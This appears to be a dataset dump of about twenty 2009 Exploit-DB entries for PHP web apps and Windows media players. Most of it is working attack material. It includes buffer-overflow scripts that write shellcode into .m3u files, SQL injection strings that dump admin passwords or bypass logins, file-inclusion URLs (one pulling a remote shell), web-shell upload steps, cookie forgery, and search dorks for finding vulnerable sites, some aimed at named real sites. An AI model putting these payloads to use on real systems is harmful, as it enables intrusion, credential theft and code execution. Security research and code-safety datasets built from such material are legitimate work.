QLWD/code_shield huggingface dataset:
标题: CoolPlayer Portable 2.19.1 - '.m3u' Local Buffer Overflow (1) EDB-ID: 8519 CVE: 2009-1437 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-22 漏洞利用脚本: # CoolPlayer Portable 2.19.1 (m3u) Buffer Overflow exploit
# Credit To Gold_m http://www.milw0rm.com/exploits/8489
# I test it 12 times but the 13 is worked but i dont know maybe it work in first time for you
# By Stack
chars = "\x41" * 212
eip = "\xED\x1E\x94\x7C" # ntdll.dll jmp esp SP 2 FR / EN
# win32_exec -  EXITFUNC=seh CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x50\x4b\x38\x45\x44\x4e\x43\x4b\x48\x4e\x37"
"\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x38"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x54\x4b\x48\x46\x33\x4b\x58"
"\x41\x30\x50\x4e\x41\x53\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x50\x45\x47\x45\x4e\x4b\x38"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x34"
"\x4b\x58\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x56\x4b\x38\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57"
"\x4e\x50\x4b\x58\x42\x44\x4e\x50\x4b\x58\x42\x57\x4e\x41\x4d\x4a"
"\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x50\x4b\x38\x42\x58\x42\x4b"
"\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x33\x4f\x55\x41\x53"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x35\x4a\x36\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x56\x4a\x49"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x36\x43\x56\x50\x52\x45\x36\x4a\x37\x45\x46\x42\x50\x5a")
poc = (chars+eip+"\x90"*10+shellcode)
file = open('xpl.m3u','w+')
file.write(poc)
file.close()

# milw0rm.com [2009-04-22] URL: https://www.exploit-db.com/exploits/8519
标题: WebPortal CMS 0.8b - Multiple Local/Remote File Inclusions EDB-ID: 8516 CVE: 2009-1445 2009-1444 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-22 漏洞利用脚本: (  ' )-.          ,~'`-.
                                       ,~' `  ' ) )       _(   _) )
                                      ( ( .--.===.--.    (  `    ' )
                                       `.%%.      .#`.   `-'`~~=~'
                                       /%%/         \##\
                                      |%%/  multi    \##|
                                      |%%|           |##|.,-.
                                      \%%|  file     |##/    )_
                                       \%\           /#/ ( `'  )
                                        \%\ include /#/(  ,  -'`-.
                                    ,~-. `%\       /#'(  (     ') )
                                   (  ) )_ `\__|__/'   `~-~=--~~='
                                  ( ` ')  ) [-=-=-]
                                 (_(_.~~~'   \|_|/ 
                                             [***]
                              \|||/
                              (o o) 
-=-=-=-==-=-=-=-=-=-=-=+-oooO--(_)-------+-=-=-=-=-=-=-   
                       |                 |    
                       |                 |                                      

script:webportal-0.8-beta
-------------------------------------------------
Author: ahmadbady 
email: kivi_hacker666@yahoo.com
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-====-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=--
download from:https://sites.google.com/site/ivanoculmine/Home/webportal-0.8-beta.zip?attredirects=0

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=--=-=--===-=--=-=-=
xpl:

http://127.0.0.1/path/webportal-0.8-beta/libraries/helpdocs/help.php?lang=[local file]%00

http://127.0.0.1/path/webportal-0.8-beta/indexk.php?lib_path=http://site.com/shell.txt?

http://127.0.0.1/path/webportal-0.8-beta/index.php?error=[local file]%00
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-


-=-=-=-=-=-=-=-=-=-=-=-+------------Ooo--+-=-=-=-=-=-=-=-=-=-=-          
                            |__|__|
                             || ||
                             OoO OoO

# milw0rm.com [2009-04-22] URL: https://www.exploit-db.com/exploits/8516
标题: Elkagroup Image Gallery 1.0 - Arbitrary File Upload EDB-ID: 8514 CVE: 2009-1446 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-22 漏洞利用脚本: ######################### Securitylab.ir ########################
# Application Info:
# Name: elkagroup Image Gallery
# Dork: elkagroup - Image Gallery v1.0 -  All right reserved
#################################################################
# Discoverd By: Securitylab.ir 
# Website: http://Securitylab.ir
# Contacts: admin[at]securitylab.ir & info@securitylab[dot]ir
#################################################################
# Vulnerability Info:
# Type: Arbitrary File Upload Vulnerability
# Risk: High 
#===========================================================
# Register here:
# http://site.ir/gallery/register.php
#
# Login:
# http://site.ir/gallery/login.php
#
# Go to this link:
# http://site.ir/gallery/upload.php
#
# Upload your script's shell,See your shell here:
# http://site.ir/gallery/pictures
#===========================================================
#
# Securitylab Security Research Team
###################################################################

# milw0rm.com [2009-04-22] URL: https://www.exploit-db.com/exploits/8514
标题: Popcorn 1.87 - Remote Heap Overflow (PoC) EDB-ID: 8526 CVE: 2009-1647 类型: DOS 平台: WINDOWS 发布日期: 2009-04-23 漏洞利用脚本: #!/usr/bin/python
#[x]Product download : http://www.ultrafunk.com/products/popcorn/
#[+]Founder : x.CJP.x
#[+]Greeting : His0k4,Sub-Zero,Bibi-info,Aach2006,Youness,Simitch,Halimz,Bibicha.. :=)
#[-]Seni seviyorum, base64_decode('TW91bmE=');

from socket import *
import struct

buffer="\x41"*6000 # just random

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 110))
s.listen(1)
print "[*] Listening on [POP3] 110"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])

c.send("+OK "+buffer+"\r\n")
c.recv(512)
raw_input("[*] Crashed!\nPress key to quit")
c.close()
s.close()

# milw0rm.com [2009-04-23] URL: https://www.exploit-db.com/exploits/8526
标题: CoolPlayer Portable 2.19.1 - '.m3u' Local Buffer Overflow (2) EDB-ID: 8520 CVE: 2009-1437 类型: LOCAL 平台: WINDOWS 发布日期: 2009-04-22 漏洞利用脚本: #!/usr/bin/python
#[*] Usage   : coolplayer.py
#[*] Bug     : CoolPlayer Portable(m3u) Buffer Overflow exploit
#[*] Founder : Gold_m
#[*] First exploiter : stack "he is my friend :)"
#[*] Tested on :    Xp sp2 (fr)
#[*] Greetings :    All friends & muslims HaCkErs (DZ),snakespc.com,secdz.com

#[*] Note: I didn't know why the stack's exploit won't work for me but i founded that the junk data wasn't right in my case.
#[*] and we have to expand the nops to pass the null byte.
#[*] it worked for me from the beginning.

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x79"
"\xe4\x94\xba\x83\xeb\xfc\xe2\xf4\x85\x0c\xd0\xba\x79\xe4\x1f\xff"
"\x45\x6f\xe8\xbf\x01\xe5\x7b\x31\x36\xfc\x1f\xe5\x59\xe5\x7f\xf3"
"\xf2\xd0\x1f\xbb\x97\xd5\x54\x23\xd5\x60\x54\xce\x7e\x25\x5e\xb7"
"\x78\x26\x7f\x4e\x42\xb0\xb0\xbe\x0c\x01\x1f\xe5\x5d\xe5\x7f\xdc"
"\xf2\xe8\xdf\x31\x26\xf8\x95\x51\xf2\xf8\x1f\xbb\x92\x6d\xc8\x9e"
"\x7d\x27\xa5\x7a\x1d\x6f\xd4\x8a\xfc\x24\xec\xb6\xf2\xa4\x98\x31"
"\x09\xf8\x39\x31\x11\xec\x7f\xb3\xf2\x64\x24\xba\x79\xe4\x1f\xd2"
"\x45\xbb\xa5\x4c\x19\xb2\x1d\x42\xfa\x24\xef\xea\x11\x14\x1e\xbe"
"\x26\x8c\x0c\x44\xf3\xea\xc3\x45\x9e\x87\xf5\xd6\x1a\xe4\x94\xba")

exploit = "\x41"*220 + "\x5D\x38\x82\x7C" + "\x90"*122 + shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    print "Exploit file created!\n"
except:
    print "Error"

# milw0rm.com [2009-04-22] URL: https://www.exploit-db.com/exploits/8520
标题: VS PANEL 7.3.6 - 'Cat_ID' SQL Injection EDB-ID: 8506 CVE: 2009-3590 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: [+]-------------------------------------[+]
[+] Homepage: http://www.vspanel.gr/
[+] Product: VS PANEL v.7.3.6
[+] File: showcat.php
[+] Parameter: Cat_ID
[+] Dork: "Powered by VS PANEL"
[+]-------------------------------------[+]
[+] SQL Injection:
[+] showcat.php?Cat_ID=null+union+select+1,concat_ws(0x203a20,name,password)+from+Users--
[+]-------------------------------------[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]-------------------------------------[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8506
标题: TotalCalendar 2.4 - 'Include' Local File Inclusion EDB-ID: 8503 CVE: 2009-1406 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: ##########################################################################################
[+] TotalCalendar 2.4 (include) Local File Inclusion
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
##########################################################################################

[+] Local File Inclusion

Vulnerable code in cms_detect.php:

-------------------------------------------------------------------------------
Line 26 : $include = isset($_REQUEST['include']) ? $_REQUEST['include'] : null;
Line 115 : if(!empty($include)) require_once($inc_dir.$include);
-------------------------------------------------------------------------------

  PoC :

   http://127.0.0.1/[path]/cms_detect.php?include=../../../../../../BOOTSECT.BAK

##########################################################################################

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8503
标题: NotFTP 1.3.1 - 'newlang' Local File Inclusion EDB-ID: 8504 CVE: 2009-1407 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: NotFTP 1.3.1 => Local file include
http://sourceforge.net/projects/notftp/


Author: Kacper
Email: kacper1964@yahoo.pl
Home: http://devilteam.pl/

DC++ Hub address: bluber-hub.no-ip.biz:2008

Vuln:

File config.php:

#########################################################################
# This is where we decide what language to use. Don't mess with this
# either.
#########################################################################

if (isset($newlang))
{
   require_once("lib/lang/".$languages[$newlang]["file"]);
}
elseif (isset($_COOKIE["notftplang"]))
{
   require_once("lib/lang/".$languages[$_COOKIE["notftplang"]]["file"]);
}
else
{
   require_once("lib/lang/".$languages[DEFAULTLANG]["file"]);
}

# NotFTP version. Changing this would be silly. So don't.

PoC:

http://site.pl/path/config.php?newlang=kacper&languages[kacper][file]=../../../../../etc/passwd

The End

========= 

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8504
标题: Quick.CMS.Lite 0.5 - 'id' SQL Injection EDB-ID: 8505 CVE: 2009-1410 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: [+]-------------------------------------[+]
[+] Homepage: http://opensolution.org/
[+] Product: Quick.CMS Lite 0.5
[+] File: index.php
[+] Parameter: id
[+] Dork: "Powered by Quick.Cms"
[+]-------------------------------------[+]
[+] SQL Injection:
[+] http://www.sennik.sos.pl/index.php?t=ph&id=null'+union+select+
[+] unhex(hex(concat_ws(0x203a20,id,litera,haslo,0x3c62723e3c62723e)))
[+] +from+sennik--+
[+]-------------------------------------[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]-------------------------------------[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8505
标题: CRE Loaded 6.2 - 'products_id' SQL Injection EDB-ID: 8501 CVE: 2009-1403 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: [+]-------------------------------------[+]
[+] Homepage: http://www.creloaded.com/
[+] Product: CRE Loaded v6.2
[+] File: product_info.php
[+] Parameter: product_id
[+]-------------------------------------[+]
[+] SQL Injection:
[+] product_info.php?products_id=-1+union+select+1,concat_ws(0x203a20,admin_email_address,admin_password)+from+admin--
[+]-------------------------------------[+]
[+] Discovered by -=Player=-
[+] http://NovuSec.com
[+] http://Free-Hack.com
[+]-------------------------------------[+]
[+] Greetz to :
[+] Lidloses_Auge, Suicide, enco, J0hn.X3r, Dexx, 2called-chaos, xant0x
[+]-------------------------------------[+] 

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8501
标题: pastelcms 0.8.0 - Local File Inclusion / SQL Injection EDB-ID: 8502 CVE: 2009-1405 2009-1404 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-21 漏洞利用脚本: #########################################################################
[+] PastelCMS 0.8.0 (LFI/SQL) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] www.mortal-team.net
[+] www.h4cky0u.org
#########################################################################

[+] Download : http://pastel.pri.ee/?id=58

[+] Local File Inclusion

   PoC :

      http://127.0.0.1/[path]/?set_lng=../../../../../../BOOTSECT.BAK%00

[+] SQL Injection ( Login Bypass)

 - Go to :

   http://127.0.0.1/[path]/admin.php

 - Login as the following :

   Username : [REAL ADMIN USERNAME HERE] ' or ' 1=1
   Password : anything


#########################################################################

# milw0rm.com [2009-04-21] URL: https://www.exploit-db.com/exploits/8502
标题: Creasito E-Commerce 1.3.16 - Authentication Bypass EDB-ID: 8497 CVE: 2009-4925 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: *******   Salvatore "drosophila" Fresta   *******

[+] Application: creasito e-commerce content manager
[+] Version: 1.3.16
[+] Website: http://creasito.bloghosteria.com

[+] Bugs: [A] Authentication Bypass

[+] Exploitation: Remote
[+] Date: 20 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx@gmail.com


*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix


*************************************************

[+] Bugs

This cms is entirely vulnerable to SQL Injection.
I decided to post authentication bypass security
flaw only.

- [A] Authentication Bypass

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: admin/checkuser.php, checkuser.php

SQL Injection bug allows a guest to bypass the
authentication system. The following is the
vulnerable code:

...

$username = $_POST['username'];

...

$sql = mysql_query("SELECT * FROM amministratore WHERE
username='$username' AND password='$password' AND activated='1'");

...


*************************************************

[+] Code


- [A] Authentication Bypass

Username: -1' OR '1'='1'#
Password: foo


*************************************************

[+] Fix

No fix.


*************************************************

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8497
标题: WB News 2.1.2 - Insecure Cookie Handling EDB-ID: 8492 CVE: 2009-4927 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: [~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…-----------------------------
  
 [~]Download: http://www.webmobo.com/downloads/
  
 [~]Software: wb news 2.1.2
 [~]author: ThE g0bL!N
  
  
 [~] Home: WWW.h4ckf0ru.com
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s
[~] -----------------------------{ Iam MuSlIm}------------------------------
  
wb news 2.1.2 Insecure Cookie Handling Vulnerability
---------------------------------------
exploit:
-------
javascript:document.cookie="WBNEWS=[id];path=/";
demo
----
http://demo.webmobo.com/news/admin/
exploit for demo
----------------
javascript:document.cookie="WBNEWS=1;path=/";
 
[~]--------------------------------------------------------------------------------
 
 [~] Greetz tO:
  [~]
  [~] Dos-Dz TeaM - Snakes TeaM - Team Sobh4n ALLAH -His0k4-
  [~]
  [~]
  [~]
  [~]
 
 [~]--------------------------------------------------------------------------------

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8492
标题: 1by1 1.67 - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8484 CVE: 2009-4932 类型: DOS 平台: WINDOWS 发布日期: 2009-04-20 漏洞利用脚本: # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
# #  1by1 1.67 (.M3U File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## #
my $chars= "A" x 4104;
my $file="goldm.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8484
标题: CoolPlayer Portable 2.19.1 - '.m3u' Local Stack Overflow (PoC) EDB-ID: 8489 CVE: 2009-1437 类型: DOS 平台: WINDOWS 发布日期: 2009-04-20 漏洞利用脚本: # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ##  ##
# #  CoolPlayerp Portable 2.19.1 (.M3U File) Local Stack Overflow POC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ### ## ## ## ## ## ### ## ## ## ## 
my $chars= "A" x 4104;
my $file="goldm.m3u";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8489
标题: EZ Webitor - Authentication Bypass EDB-ID: 8487 CVE: 2009-4933 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: -------------------------AllaH AkbaR-------------------------------
ezwebitor  (Auth Bypass) Remote Sql Injection
---------------------------------------------------------------------------
Discovered By: Snakespc     ALGERIAN HaCkEr 
Mail: snakespc@gmail.com
Site:http://www.snakespc.com/sc/index.php
Chi3arona houa :  Serra7 merra7 , koulchi mderra7>>>>
             Aflawa Kamikaz Wa4rin Fi kol Bla4s 
-------------------------SNAKES TEAM-------------------------------------
Script:
http://www.ezwebitor.com
-------------------------SNAKES TEAM-------------------------------------
Exploit:
-----------
http://www.ezwebitor.com/demo_standard/ezw/login.php
Username:   ' or '1=1
Password:    ' or '1=1
-------------------------SNAKES TEAM-------------------------------------
Mr.HCOCA_MAN:::DrEaDFuL:::yassine_enp:::His0k4:::
Houssamix:::sunhouse2:::aSSaSSin_HaCkErS:::
THE INJECTOR:::ALMADJHOOL:::Th3 g0bL!N::: Dr-HTmL
--------------------------SNAKES TEAM------------------------------------
ALL www.SnakespC.com/sc>>>> (  Members )
Str0ke >>>>>>>Milw0rm

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8487
标题: Studio Lounge Address Book 2.5 - 'profile' Arbitrary File Upload EDB-ID: 8481 CVE: 2009-1483 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: Address Book 2.5 (profile) Remote Shell Upload Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://www.studiolounge.net/2007/08/17/address-book-25

- vuln file: upload-file.php

  The upload-file.php doesn't check the type of archive 
  and you can uploaded the phpshell on the server.


~ [EXPLOITING]

1) /index2.php?title=add (upload your shell, ex: c99.php)
2) you should go to your "View Full Information" (ex: index2.php?title=fullview&id=150)
3) you view source code and search "profiles/imagethumb.php?s=" (ex: profiles/imagethumb.php?
   s=57b7b72739c79f02d990c4239c4169b9.php)

4) view shell: http://target/profiles/57b7b72739c79f02d990c4239c4169b9.php

__h0__

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8481
标题: Seditio CMS Events Plugin - 'c' SQL Injection EDB-ID: 8482 CVE: 2009-1411 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-20 漏洞利用脚本: [+]=================================================================[+]
  [x]Title    : Seditio Events Remote SQL Injection
          Seditio Events Plugin Remote SQL Injection
  [x]Software : Seditio CMS
  [x]Vendor   : www.neocrome.ne
  [x]Date     : 17 April 2009 ( Indonesia ) 
  [x]Author   : OoN_Boy
  [x]Contact  : oon.boy9@gmail.com
  [x]Blog     : http://oonboy.blogspot.com
[+]=================================================================[+]
  [x] Google Dork

  "Powered by Seditio"
[+]=================================================================[+]
  [x] Exploit

  http://[site]/[path]/plug.php?e=events&f=old&c=all' [SQL]/*
[+]=================================================================[x]
  [x]Poc
  
  http://thespider.neocrome.org/plug.php?e=events&f=old&c=all' union select 1,2,3,4,5,version(),7,8,9,0,1,2,3/*
[+]=================================================================[+]
  [x] Special Greetz
  
  www.BatamHacker.or.id www.MainHack.com - www.ServerIsDown.org - 
  Vrs-hCk, c0li, h4ntu, Opay, Ipay, Paman, NoGe, H312Y, pizzyroot,
  xx_user, s3t4n, Angela Chang, IrcMafia, str0ke, em|nem, 
  Dan buat semuanya yg ga bisa di sebut satuÂ²
[+]=================================================================[+]

# milw0rm.com [2009-04-20] URL: https://www.exploit-db.com/exploits/8482
标题: Esoftpro Online Guestbook Pro - 'display' Blind SQL Injection EDB-ID: 8475 CVE: 2010-4996 2009-4935 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-17 漏洞利用脚本: Online Guestbook Pro (display) Blind SQL Injection Vulnerability


{____________________________________}
 Author: Hussin X

 Home :  WwW.IQ-TY.CoM

 email:  darkangel_g85[at]Yahoo[DoT]com
{____________________________________}



script : http://www.esoftpro.com/web_scripts_online_guestbook_pro.php
 
DorK   : Powered by Online Guestbook Pro




Demo :

http://www.esoftpro.com/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=5

http://www.esoftpro.com/demo/OGP/ogp_show.php?display=10 and substring(@@version,1,1)=4

BuT Results = Forbidden :D


demo to any web

http://www.musicandfriends.ca/guestbook/ogp_show.php?display=10 and substring(@@version,1,1)=5

http://www.musicandfriends.ca/guestbook/ogp_show.php?display=10 and substring(@@version,1,1)=4





Greetz to :{ IQ-SecuritY members } { | FAHD | CraCkEr | jiko | str0ke | Cyber-Zone | kadmiwe | ahmed hassan | Sakab }

end.

# milw0rm.com [2009-04-17] URL: https://www.exploit-db.com/exploits/8475
标题: e-cart.biz Shopping Cart - Arbitrary File Upload EDB-ID: 8474 CVE: 2009-1447 类型: WEBAPPS 平台: PHP 发布日期: 2009-04-17 漏洞利用脚本: =-=-Remote Arbitrary File Upload-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::e-cart Shopping Carts
-------------------------------------------------
Author: ahmadbady

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.e-cart.biz/e-cart_Free.zip

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
upload:
/path/admin/editor/image.php --> upload shell.php

shell.php ---> /path/images/upload/shell.php

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=-=-=-

dork:
"Powered by e-cart.biz Shopping Carts & Storefronts"
"Powered by e-cart.biz Shopping Carts"

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2009-04-17] URL: https://www.exploit-db.com/exploits/8474